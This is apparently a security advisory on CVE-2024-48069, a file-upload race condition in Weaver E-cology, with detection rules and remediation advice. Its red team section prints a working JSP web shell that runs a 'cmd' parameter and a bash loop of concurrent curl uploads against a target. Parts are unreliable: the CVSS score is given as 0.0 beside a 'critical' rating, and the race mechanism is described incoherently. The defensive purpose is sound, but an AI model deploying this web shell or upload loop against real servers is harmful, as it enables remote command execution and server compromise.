CVE-2024-48069

Executive Summary

CVE-2024-48069 is a race condition vulnerability in Weaver E-cology, an enterprise collaboration platform. The flaw allows an attacker to bypass file upload security mechanisms by exploiting a time-of-check to time-of-use (TOCTOU) race condition. Successful exploitation can lead to arbitrary file upload, potentially resulting in remote code execution (RCE) and full server compromise. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet issued a patch. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization). Given the lack of patch and the critical nature of the affected system, immediate mitigation measures are recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned; estimated high severity based on impact)
• Attack Vector (AV): Network (N) – exploitable remotely
• Attack Complexity (AC): Low (L) – race condition requires precise timing but no special privileges
• Privileges Required (PR): None (N) – no authentication needed
• User Interaction (UI): None (N) – no user action required
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries
• Confidentiality (C): High (H) – arbitrary file upload can lead to data exfiltration
• Integrity (I): High (H) – attacker can upload malicious files
• Availability (A): High (H) – server compromise can lead to denial of service
• Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Threat Level: Critical – unpatched, remotely exploitable, and affects a widely used enterprise platform.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Weaver E-cology. The application performs a security check (e.g., file type validation, size limits) before writing the uploaded file to disk. However, due to improper synchronization, there is a window between the check and the actual file write operation. An attacker can exploit this race condition by sending multiple concurrent upload requests, causing the application to bypass the security check for at least one of the requests. This allows the attacker to upload arbitrary files, including web shells or executable scripts, leading to remote code execution.

The race condition is a classic TOCTOU (Time-of-Check Time-of-Use) vulnerability. The application checks the file’s properties (e.g., extension, MIME type) and then proceeds to save it. If the attacker can modify the file between the check and the save (e.g., by rapidly changing the file content or using symbolic links), the security check is bypassed. In practice, this is achieved by sending multiple requests in parallel, where one request passes the check and another overwrites the file before it is saved.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described generically. The vulnerable implementation likely resembles:

# Vulnerable pseudo-code
def upload_file(request):
    file = request.files['file']
    if not is_valid_file(file):
        return "Invalid file"
    # Race window: file can be modified here
    save_file(file)
    return "Upload successful"

A patched version would use atomic operations or locks to ensure the file cannot be modified between check and save:

# Patched pseudo-code
import threading
lock = threading.Lock()

def upload_file(request):
    with lock:
        file = request.files['file']
        if not is_valid_file(file):
            return "Invalid file"
        save_file(file)
    return "Upload successful"

Alternatively, the application should validate the file after it is saved (e.g., by scanning the saved file) or use a temporary directory with restricted permissions.

Exploitation & Lab Setup

Red Team

Objective: Exploit the race condition to upload a web shell and gain remote code execution.

Prerequisites:

• Access to a Weaver E-cology instance with file upload functionality.
• Ability to send multiple concurrent HTTP requests (e.g., using curl, Burp Suite, or custom scripts).

Exploitation Steps:

1. Identify the upload endpoint: Typically /upload or similar.

2. Prepare a malicious file: For example, a JSP web shell (shell.jsp) containing:

   <%@ page import="java.io.*" %>
   <%
       String cmd = request.getParameter("cmd");
       Process p = Runtime.getRuntime().exec(cmd);
       BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
       String line;
       while ((line = br.readLine()) != null) {
           out.println(line);
       }
   %>
   

3. Craft a benign file: A legitimate file (e.g., image.png) that passes the security check.

4. Send concurrent requests: Use a script to send multiple upload requests simultaneously, alternating between the benign and malicious files. The goal is to have the benign file pass the check, but the malicious file be saved due to the race condition.

   Example using curl and xargs:

   #!/bin/bash
   for i in {1..100}; do
       curl -F "file=@benign.png" http://target/upload &
       curl -F "file=@shell.jsp" http://target/upload &
   done
   wait
   

5. Verify access: Access the uploaded shell at http://target/uploads/shell.jsp?cmd=id.

Expected Outcome: The attacker gains a web shell with the privileges of the web server, potentially leading to full server compromise.

Blue Team

Objective: Detect and prevent exploitation of the race condition.

Detection Steps:

1. Monitor file upload logs: Look for multiple rapid upload requests from the same IP address, especially if they involve different file types.
2. Analyze file integrity: Compare the file that passed validation with the file that was saved. Use checksums or file scanning to detect discrepancies.
3. Implement rate limiting: Restrict the number of upload requests per second from a single IP.
4. Use Web Application Firewall (WAF): Deploy rules to block suspicious file extensions (e.g., .jsp, .php, .exe) in upload endpoints.
5. Enable atomic file operations: Ensure the application uses locks or transactions to prevent race conditions.

Prevention Steps:

• Apply vendor patch: Once available, apply immediately.
• Temporary workaround: Disable file upload functionality if not critical, or restrict uploads to authenticated users only.
• Use a sandbox: Scan uploaded files in a sandbox environment before saving them to the production server.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple rapid HTTP POST requests to /upload or similar endpoints from the same source IP.
  • Unusual file extensions in upload requests (e.g., .jsp, .php, .war).
  • Outbound connections from the server to unknown IPs (indicating a web shell callback).

• File System IOCs:

  • Unexpected files in the upload directory, especially with executable extensions.
  • Files with mismatched MIME types (e.g., a file claiming to be image/png but containing JSP code).
  • Presence of web shells (e.g., shell.jsp, cmd.php) in web-accessible directories.

• Log IOCs:

  • Repeated upload attempts with the same filename but different content.
  • Error logs showing file validation failures followed by successful uploads.
  • Access logs showing requests to uploaded files with command parameters (e.g., ?cmd=id).

Detection Engineering

YARA Rule

rule CVE_2024_48069_RaceConditionUpload {
    meta:
        description = "Detects potential race condition exploitation in Weaver E-cology file upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48069"
    strings:
        $jsp_shell = /<\%\s*@\s*page\s+import\s*=\s*"java\.io\.\*"\s*%>/ nocase
        $php_shell = /<?php\s+system\(/ nocase
        $asp_shell = /<%\s*Execute\s*\(/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-48069 - Race Condition File Upload Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects multiple rapid file upload requests from the same source IP, indicating a race condition exploit attempt.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
    timeframe: 5s
    condition:
        selection | count() by src_ip > 10
falsepositives:
    - Legitimate bulk uploads from trusted IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48069 - Race Condition File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; pcre:"/(\.jsp|\.php|\.asp|\.exe)$/Ui"; threshold: type both, track by_src, count 10, seconds 5; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality if not critical for business operations.
2. Restrict upload access to authenticated and authorized users only.
3. Implement rate limiting on upload endpoints to prevent rapid requests.
4. Deploy a Web Application Firewall (WAF) with rules to block suspicious file extensions and patterns.

Long-term Fixes:

1. Apply vendor patch as soon as it becomes available.
2. Refactor file upload code to use atomic operations (e.g., file locks, transactions) to eliminate the race condition.
3. Validate files after saving (e.g., by scanning with antivirus or checking MIME type) rather than before.
4. Use a separate, non-executable directory for uploaded files and configure the web server to prevent script execution in that directory.

Monitoring:

• Enable detailed logging for file uploads and monitor for anomalies.
• Set up alerts for multiple rapid upload requests from the same IP.
• Regularly scan for web shells and unauthorized files.

Valters IT